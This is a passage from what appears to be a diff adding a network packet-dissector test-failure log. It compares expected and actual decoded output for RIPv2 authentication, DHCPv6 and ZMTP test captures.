+---
+> 	RIPv2, Request, length: 68, routes: 3 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 20, SeqNo 1339429713, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  728c 5b16 9a1b 3913 0021 a73f 7a73 bc1b
+> 	  0x0010:  eee0 e6a2
+25,27c35,36
+< 	RIPv2, Response, length: 68, routes: 3
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d14 4fd6 1354 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 68, routes: 3 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 20, SeqNo 1339429716, MBZ 0, MBZ 0
+29c38
+< 	  Unknown (1) Authentication data:
+---
+> 	  Auth trailer:
+30a40
+> 	  0x0010:  3375 fc89
+33c43,48
+< 	RIPv2, Request, length: 80
+---
+> 	RIPv2, Request, length: 80, routes: 4 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 32, SeqNo 1339429740, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  4ae5 fb9c 9702 03b8 5a93 812d 0258 6740
+> 	  0x0010:  451a bd20 cee4 8a3d a466 17a0 e550 5b4b
+36,38c51,52
+< 	RIPv2, Response, length: 80, routes: 4
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d20 4fd6 1370 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 80, routes: 4 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 32, SeqNo 1339429744, MBZ 0, MBZ 0
+40,41c54,56
+< 	  Unknown (1) Authentication data:
+< 	  0x0000:  3965 b755 535a 3375 e83a 973c 60c9 1693[|rip]
+---
+> 	  Auth trailer:
+> 	  0x0000:  3965 b755 535a 3375 e83a 973c 60c9 1693
+> 	  0x0010:  f2de 8132 9e87 3f7f b763 3cb0 b3dc 3ba2
+44c59,65
+< 	RIPv2, Request, length: 96
+---
+> 	RIPv2, Request, length: 96, routes: 4 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 48, SeqNo 1339429761, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  a1f2 20f6 6f72 f45b e8e0 291f 2322 a198
+> 	  0x0010:  1b6b 67bc 9279 7d3b 8e05 c683 8b7e 05bc
+> 	  0x0020:  230c abc8 1470 8e30 5470 fb27 6fe3 4506
+47,49c68,69
+< 	RIPv2, Response, length: 96, routes: 4
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d30 4fd6 1385 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 96, routes: 4 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 48, SeqNo 1339429765, MBZ 0, MBZ 0
+51c71
+< 	  Unknown (1) Authentication data:
+---
+> 	  Auth trailer:
+53,55c73,74
+< 	  AFI Unknown (43654)
+< 	  0x0000:  59a1 fef3 9248 3115 c266 0386 f183 4f31
+< 	  0x0010:  1df0
+---
+> 	  0x0010:  aa86 59a1 fef3 9248 3115 c266 0386 f183
+> 	  0x0020:  4f31 1df0 0681 e1cc ba10 b4c1 7795 9773
+58c77,84
+< 	RIPv2, Request, length: 112
+---
+> 	RIPv2, Request, length: 112, routes: 5 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 64, SeqNo 1339429781, MBZ 0, MBZ 0
+> 	  AFI 0,         0.0.0.0/0 , tag 0x0000, metric: 16, next-hop: self
+> 	  Auth trailer:
+> 	  0x0000:  73ad b6e3 5fe6 07bd 0bc5 ca25 41cc 63ec
+> 	  0x0010:  bd06 55b1 77a4 e223 ef52 8ea2 7480 e39c
+> 	  0x0020:  ee51 96bd 4e35 8cb7 f185 ba49 9892 e683
+> 	  0x0030:  e756 788d aa23 bf90 0b01 5c2d 241d 2d8e
+61,63c87,88
+< 	RIPv2, Response, length: 112, routes: 5
+< 	  Unknown (3) Authentication data:
+< 	  0x0000:  002c 2d40 4fd6 1399 0000 0000 0000 0000
+---
+> 	RIPv2, Response, length: 112, routes: 5 or less
+> 	  Auth header: Packet Len 44, Key-ID 45, Auth Data Len 64, SeqNo 1339429785, MBZ 0, MBZ 0
+65c90
+< 	  Unknown (1) Authentication data:
+---
+> 	  Auth trailer:
+67,72c92,94
+< 	  AFI Unknown (48865)
+< 	  0x0000:  5584 6b1c 724d b1b7 f02e 7365 f038 7558
+< 	  0x0010:  0914
+< 	  AFI Unknown (26466)
+< 	  0x0000:  00d1 a92f d499 5da2 43ad 202c 7a9b 8065
+< 	  0x0010:  49ad
+---
+> 	  0x0010:  bee1 5584 6b1c 724d b1b7 f02e 7365 f038
+> 	  0x0020:  7558 0914 6762 00d1 a92f d499 5da2 43ad
+> 	  0x0030:  202c 7a9b 8065 49ad 260b 2142 0f8d d83f
+
+Failed test: dhcpv6-aftr-name
+
+1,43c1,4
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 110: 
+< 	0x0000:  6c00 0000 0038 1140 fe80 0000 0000 0000  l....8.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0038 a641  .........".#.8.A
+< 	0x0030:  01d8 1eb8 0001 000a 0003 0001 0001 0203  ................
+< 	0x0040:  0405 0006 0004 0017 0040 0008 0002 0000  .........@......
+< 	0x0050:  0019 000c 0203 0405 0000 0e10 0000 1518  ................
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 196: 
+< 	0x0000:  6000 0000 008e 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 008e a2c0  .........#."....
+< 	0x0030:  02d8 1eb8 0019 0029 0203 0405 0000 0096  .......)........
+< 	0x0040:  0000 00fa 001a 0019 0000 00fa 0000 012c  ...............,
+< 	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+< 	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+< 	0x0070:  0200 0e00 0100 0118 3f4e f000 1122 3344  ........?N..."3D
+< 	0x0080:  5500 0700 010a 0017 0010 2a01 0000 0000  U.........*.....
+< 	0x0090:  0000 0000 0000 0000 0001 0040 0018 0961  ...........@...a
+< 	0x00a0:  6674 722d 6e61 6d65 086d 7964 6f6d 6169  ftr-name.mydomai
+< 	0x00b0:  6e03 6e65 7400                           n.net.
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 157: 
+< 	0x0000:  6c00 0000 0067 1140 fe80 0000 0000 0000  l....g.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0067 5876  .........".#.gXv
+< 	0x0030:  031e 291d 0001 000a 0003 0001 0001 0203  ..).............
+< 	0x0040:  0405 0002 000e 0001 0001 183f 4ef0 0011  ...........?N...
+< 	0x0050:  2233 4455 0006 0004 0017 0040 0008 0002  "3DU.......@....
+< 	0x0060:  0000 0019 0029 0203 0405 0000 0e10 0000  .....)..........
+< 	0x0070:  1518 001a 0019 0000 1c20 0000 1d4c 382a  .............L8*
+< 	0x0080:  0000 0100 0101 0000 0000 0000 0000 00    ...............
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 196: 
+< 	0x0000:  6000 0000 008e 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 008e 9415  .........#."....
+< 	0x0030:  071e 291d 0019 0029 0203 0405 0000 0096  ..)....)........
+< 	0x0040:  0000 00fa 001a 0019 0000 00fa 0000 012c  ...............,
+< 	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+< 	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+< 	0x0070:  0200 0e00 0100 0118 3f4e f000 1122 3344  ........?N..."3D
+< 	0x0080:  5500 0700 010a 0017 0010 2a01 0000 0000  U.........*.....
+< 	0x0090:  0000 0000 0000 0000 0001 0040 0018 0961  ...........@...a
+< 	0x00a0:  6674 722d 6e61 6d65 086d 7964 6f6d 6169  ftr-name.mydomai
+< 	0x00b0:  6e03 6e65 7400                           n.net.
+---
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 56) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=d81eb8 (client-ID hwaddr type 1 000102030405) (option-request DNS-server AFTR-Name) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400))
+> IP6 (hlim 64, next-header UDP (17) payload length: 142) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=d81eb8 (IA_PD IAID:33752069 T1:150 T2:250 (IA_PD-prefix 2a00:1:1:100::/56 pltime:250 vltime:300)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 406802160 001122334455) (preference 10) (DNS-server 2a01::1) (AFTR-Name aftr-name.mydomain.net))
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 103) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=1e291d (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 406802160 001122334455) (option-request DNS-server AFTR-Name) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:7200 vltime:7500)))
+> IP6 (hlim 64, next-header UDP (17) payload length: 142) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=1e291d (IA_PD IAID:33752069 T1:150 T2:250 (IA_PD-prefix 2a00:1:1:100::/56 pltime:250 vltime:300)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 406802160 001122334455) (preference 10) (DNS-server 2a01::1) (AFTR-Name aftr-name.mydomain.net))
+
+Failed test: dhcpv6-ia-na
+
+1,35c1,4
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 110: 
+< 	0x0000:  6c00 0000 0038 1140 fe80 0000 0000 0000  l....8.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0038 1123  .........".#.8.#
+< 	0x0030:  0190 b45c 0001 000a 0003 0001 0001 0203  ...\............
+< 	0x0040:  0405 0006 0004 0017 0018 0008 0002 0000  ................
+< 	0x0050:  0003 000c 0203 0405 0000 0e10 0000 1518  ................
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 142: 
+< 	0x0000:  6000 0000 0058 1140 fe80 0000 0000 0000  `....X.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0058 2b6f  .........#.".X+o
+< 	0x0030:  0290 b45c 0003 0028 0203 0405 0000 0e10  ...\...(........
+< 	0x0040:  0000 1518 0005 0018 2a00 0001 0001 0200  ........*.......
+< 	0x0050:  38e6 b22e c440 acdf 0000 1194 0000 1c20  8....@..........
+< 	0x0060:  0001 000a 0003 0001 0001 0203 0405 0002  ................
+< 	0x0070:  000e 0001 0001 1846 488c 0011 2233 4455  .......FH..."3DU
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 156: 
+< 	0x0000:  6c00 0000 0066 1140 fe80 0000 0000 0000  l....f.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0066 3c58  .........".#.f<X
+< 	0x0030:  032f fdd1 0001 000a 0003 0001 0001 0203  ./..............
+< 	0x0040:  0405 0002 000e 0001 0001 1846 488c 0011  ...........FH...
+< 	0x0050:  2233 4455 0006 0004 0017 0018 0008 0002  "3DU............
+< 	0x0060:  0000 0003 0028 0203 0405 0000 0e10 0000  .....(..........
+< 	0x0070:  1518 0005 0018 2a00 0001 0001 0200 38e6  ......*.......8.
+< 	0x0080:  b22e c440 acdf 0000 1c20 0000 1d4c       ...@.........L
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 142: 
+< 	0x0000:  6000 0000 0058 1140 fe80 0000 0000 0000  `....X.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0058 dd5a  .........#.".X.Z
+< 	0x0030:  072f fdd1 0003 0028 0203 0405 0000 0e10  ./.....(........
+< 	0x0040:  0000 1518 0005 0018 2a00 0001 0001 0200  ........*.......
+< 	0x0050:  38e6 b22e c440 acdf 0000 1194 0000 1c20  8....@..........
+< 	0x0060:  0001 000a 0003 0001 0001 0203 0405 0002  ................
+< 	0x0070:  000e 0001 0001 1846 488c 0011 2233 4455  .......FH..."3DU
+---
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 56) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=90b45c (client-ID hwaddr type 1 000102030405) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_NA IAID:33752069 T1:3600 T2:5400))
+> IP6 (hlim 64, next-header UDP (17) payload length: 88) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=90b45c (IA_NA IAID:33752069 T1:3600 T2:5400 (IA_ADDR 2a00:1:1:200:38e6:b22e:c440:acdf pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259276 001122334455))
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 102) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=2ffdd1 (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259276 001122334455) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_NA IAID:33752069 T1:3600 T2:5400 (IA_ADDR 2a00:1:1:200:38e6:b22e:c440:acdf pltime:7200 vltime:7500)))
+> IP6 (hlim 64, next-header UDP (17) payload length: 88) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=2ffdd1 (IA_NA IAID:33752069 T1:3600 T2:5400 (IA_ADDR 2a00:1:1:200:38e6:b22e:c440:acdf pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259276 001122334455))
+
+Failed test: dhcpv6-ia-pd
+
+1,37c1,4
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 110: 
+< 	0x0000:  6c00 0000 0038 1140 fe80 0000 0000 0000  l....8.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0038 e484  .........".#.8..
+< 	0x0030:  01e1 e093 0001 000a 0003 0001 0001 0203  ................
+< 	0x0040:  0405 0006 0004 0017 0018 0008 0002 0000  ................
+< 	0x0050:  0019 000c 0203 0405 0000 0e10 0000 1518  ................
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 143: 
+< 	0x0000:  6000 0000 0059 1140 fe80 0000 0000 0000  `....Y.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0059 778b  .........#.".Yw.
+< 	0x0030:  02e1 e093 0019 0029 0203 0405 0000 0e10  .......)........
+< 	0x0040:  0000 1518 001a 0019 0000 1194 0000 1c20  ................
+< 	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+< 	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+< 	0x0070:  0200 0e00 0100 0118 4649 9900 1122 3344  ........FI..."3D
+< 	0x0080:  55                                       U
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 157: 
+< 	0x0000:  6c00 0000 0067 1140 fe80 0000 0000 0000  l....g.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0067 d68c  .........".#.g..
+< 	0x0030:  0312 b08a 0001 000a 0003 0001 0001 0203  ................
+< 	0x0040:  0405 0002 000e 0001 0001 1846 4999 0011  ...........FI...
+< 	0x0050:  2233 4455 0006 0004 0017 0018 0008 0002  "3DU............
+< 	0x0060:  0000 0019 0029 0203 0405 0000 0e10 0000  .....)..........
+< 	0x0070:  1518 001a 0019 0000 1c20 0000 1d4c 382a  .............L8*
+< 	0x0080:  0000 0100 0101 0000 0000 0000 0000 00    ...............
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 143: 
+< 	0x0000:  6000 0000 0059 1140 fe80 0000 0000 0000  `....Y.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0059 a363  .........#.".Y.c
+< 	0x0030:  0712 b08a 0019 0029 0203 0405 0000 0e10  .......)........
+< 	0x0040:  0000 1518 001a 0019 0000 1194 0000 1c20  ................
+< 	0x0050:  382a 0000 0100 0101 0000 0000 0000 0000  8*..............
+< 	0x0060:  0000 0100 0a00 0300 0100 0102 0304 0500  ................
+< 	0x0070:  0200 0e00 0100 0118 4649 9900 1122 3344  ........FI..."3D
+< 	0x0080:  55                                       U
+---
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 56) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=e1e093 (client-ID hwaddr type 1 000102030405) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400))
+> IP6 (hlim 64, next-header UDP (17) payload length: 89) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=e1e093 (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259545 001122334455))
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 103) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=12b08a (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259545 001122334455) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:7200 vltime:7500)))
+> IP6 (hlim 64, next-header UDP (17) payload length: 89) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=12b08a (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259545 001122334455))
+
+Failed test: dhcpv6-ia-ta
+
+1,35c1,4
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 102: 
+< 	0x0000:  6c00 0000 0030 1140 fe80 0000 0000 0000  l....0.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 0030 38e6  .........".#.08.
+< 	0x0030:  0128 b040 0001 000a 0003 0001 0001 0203  .(.@............
+< 	0x0040:  0405 0006 0004 0017 0018 0008 0002 0000  ................
+< 	0x0050:  0004 0004 0203 0405                      ........
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 134: 
+< 	0x0000:  6000 0000 0050 1140 fe80 0000 0000 0000  `....P.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0050 4baf  .........#.".PK.
+< 	0x0030:  0228 b040 0004 0020 0203 0405 0005 0018  .(.@............
+< 	0x0040:  2a00 0001 0001 0200 5da2 f920 84c4 88cc  *.......].......
+< 	0x0050:  0000 1194 0000 1c20 0001 000a 0003 0001  ................
+< 	0x0060:  0001 0203 0405 0002 000e 0001 0001 1846  ...............F
+< 	0x0070:  47f0 0011 2233 4455                      G..."3DU
+< 00:01:02:03:04:05 > 33:33:00:01:00:02, ethertype IPv6 (0x86dd), length 148: 
+< 	0x0000:  6c00 0000 005e 1140 fe80 0000 0000 0000  l....^.@........
+< 	0x0010:  0201 02ff fe03 0405 ff02 0000 0000 0000  ................
+< 	0x0020:  0000 0000 0001 0002 0222 0223 005e 47a5  .........".#.^G.
+< 	0x0030:  032b 0e45 0001 000a 0003 0001 0001 0203  .+.E............
+< 	0x0040:  0405 0002 000e 0001 0001 1846 47f0 0011  ...........FG...
+< 	0x0050:  2233 4455 0006 0004 0017 0018 0008 0002  "3DU............
+< 	0x0060:  0000 0004 0020 0203 0405 0005 0018 2a00  ..............*.
+< 	0x0070:  0001 0001 0200 5da2 f920 84c4 88cc 0000  ......].........
+< 	0x0080:  1c20 0000 1d4c                           .....L
+< 00:11:22:33:44:55 > 00:01:02:03:04:05, ethertype IPv6 (0x86dd), length 134: 
+< 	0x0000:  6000 0000 0050 1140 fe80 0000 0000 0000  `....P.@........
+< 	0x0010:  0211 22ff fe33 4455 fe80 0000 0000 0000  .."..3DU........
+< 	0x0020:  0201 02ff fe03 0405 0223 0222 0050 e8a7  .........#.".P..
+< 	0x0030:  072b 0e45 0004 0020 0203 0405 0005 0018  .+.E............
+< 	0x0040:  2a00 0001 0001 0200 5da2 f920 84c4 88cc  *.......].......
+< 	0x0050:  0000 1194 0000 1c20 0001 000a 0003 0001  ................
+< 	0x0060:  0001 0203 0405 0002 000e 0001 0001 1846  ...............F
+< 	0x0070:  47f0 0011 2233 4455                      G..."3DU
+---
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 48) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=28b040 (client-ID hwaddr type 1 000102030405) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_TA IAID:33752069))
+> IP6 (hlim 64, next-header UDP (17) payload length: 80) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=28b040 (IA_TA IAID:33752069 (IA_ADDR 2a00:1:1:200:5da2:f920:84c4:88cc pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259120 001122334455))
+> IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 94) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=2b0e45 (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259120 001122334455) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_TA IAID:33752069 (IA_ADDR 2a00:1:1:200:5da2:f920:84c4:88cc pltime:7200 vltime:7500)))
+> IP6 (hlim 64, next-header UDP (17) payload length: 80) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=2b0e45 (IA_TA IAID:33752069 (IA_ADDR 2a00:1:1:200:5da2:f920:84c4:88cc pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259120 001122334455))
+
+Failed test: zmtp1v
+
+0a1,73
+> IP (tos 0x0, ttl 64, id 17993, offset 0, flags [DF], proto TCP (6), length 60)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [S], cksum 0xfe30 (incorrect -> 0x1a9d), seq 2523978814, win 32792, options [mss 16396,sackOK,TS val 245537399 ecr 0,nop,wscale 7], length 0
+> IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [S.], cksum 0xfe30 (incorrect -> 0x31b6), seq 3988083230, ack 2523978815, win 32768, options [mss 16396,sackOK,TS val 245537399 ecr 245537399,nop,wscale 7], length 0
+> IP (tos 0x0, ttl 64, id 17994, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [.], cksum 0xfe28 (incorrect -> 0x19da), ack 1, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 0
+> IP (tos 0x0, ttl 64, id 17995, offset 0, flags [DF], proto TCP (6), length 54)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0xfe2a (incorrect -> 0x18d0), seq 1:3, ack 1, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 2: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x00 (-|-|-|-|-|-|-|-)
+> IP (tos 0x0, ttl 64, id 51304, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [.], cksum 0xfe28 (incorrect -> 0x19d9), ack 3, win 256, options [nop,nop,TS val 245537399 ecr 245537399], length 0
+> IP (tos 0x0, ttl 64, id 51305, offset 0, flags [DF], proto TCP (6), length 54)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe2a (incorrect -> 0x18cf), seq 1:3, ack 3, win 256, options [nop,nop,TS val 245537399 ecr 245537399], length 2: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x00 (-|-|-|-|-|-|-|-)
+> IP (tos 0x0, ttl 64, id 17996, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [.], cksum 0xfe28 (incorrect -> 0x19d6), ack 3, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 0
+> IP (tos 0x0, ttl 64, id 17997, offset 0, flags [DF], proto TCP (6), length 148)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0xfe88 (incorrect -> 0x11da), seq 3:99, ack 3, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 96: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 93, flags 0x00 (-|-|-|-|-|-|-|-), first 92 byte(s) of body:
+> 	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+> 	 0x0010:  4153 4349 4920 6d65 7373 6167 6520 666f  ASCII.message.fo
+> 	 0x0020:  6c6c 6f77 6564 2062 7920 6120 7368 6f72  llowed.by.a.shor
+> 	 0x0030:  7420 6269 6e61 7279 206d 6573 7361 6765  t.binary.message
+> 	 0x0040:  2061 6e64 2061 206c 6f6e 6765 7220 4153  .and.a.longer.AS
+> 	 0x0050:  4349 4920 6d65 7373 6167 652e            CII.message.
+> 
+> IP (tos 0x0, ttl 64, id 51306, offset 0, flags [DF], proto TCP (6), length 84)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe48 (incorrect -> 0xc80f), seq 3:35, ack 99, win 256, options [nop,nop,TS val 245537399 ecr 245537399], length 32: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 29, flags 0x00 (-|-|-|-|-|-|-|-), first 28 byte(s) of body:
+> 	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+> 	 0x0010:  4153 4349 4920 7265 706c 792e            ASCII.reply.
+> 
+> IP (tos 0x0, ttl 64, id 17998, offset 0, flags [DF], proto TCP (6), length 72)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0xfe3c (incorrect -> 0xcef8), seq 99:119, ack 35, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 20: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 17, flags 0x00 (-|-|-|-|-|-|-|-), first 16 byte(s) of body:
+> 	 0x0000:  0001 0203 0405 0607 0809 0a0b 0c0d 0e0f  ................
+> 
+> IP (tos 0x0, ttl 64, id 51307, offset 0, flags [DF], proto TCP (6), length 84)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe48 (incorrect -> 0xc7da), seq 35:67, ack 119, win 256, options [nop,nop,TS val 245537400 ecr 245537399], length 32: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 29, flags 0x00 (-|-|-|-|-|-|-|-), first 28 byte(s) of body:
+> 	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+> 	 0x0010:  4153 4349 4920 7265 706c 792e            ASCII.reply.
+> 
